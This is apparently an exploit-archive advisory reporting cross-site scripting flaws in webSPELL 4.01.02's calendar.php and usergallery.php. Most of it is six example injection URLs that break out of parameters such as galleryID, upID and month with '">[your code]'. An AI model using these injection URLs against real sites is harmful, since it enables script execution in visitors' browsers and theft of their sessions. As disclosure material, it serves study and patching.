webSPELL version 4.01.02 suffers from cross site scripting vulnerabilities in calendar.php and usergallery.php.
791793881706cf6bc3762e47c4281f337a8bcb8e5aa422cb00382ddbbd92e10e
###################
Autor: Brainhead
Type: XSS
Version: 4.01.02
Files: usergallery.php, calendar.php
Magic Quotes :off
###################
Examples:
http://site.tld/[PATH]/index.php?site=usergallery&action=upload&galleryID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&upID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&tag=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&month=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&userID=">[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&year=">[your code]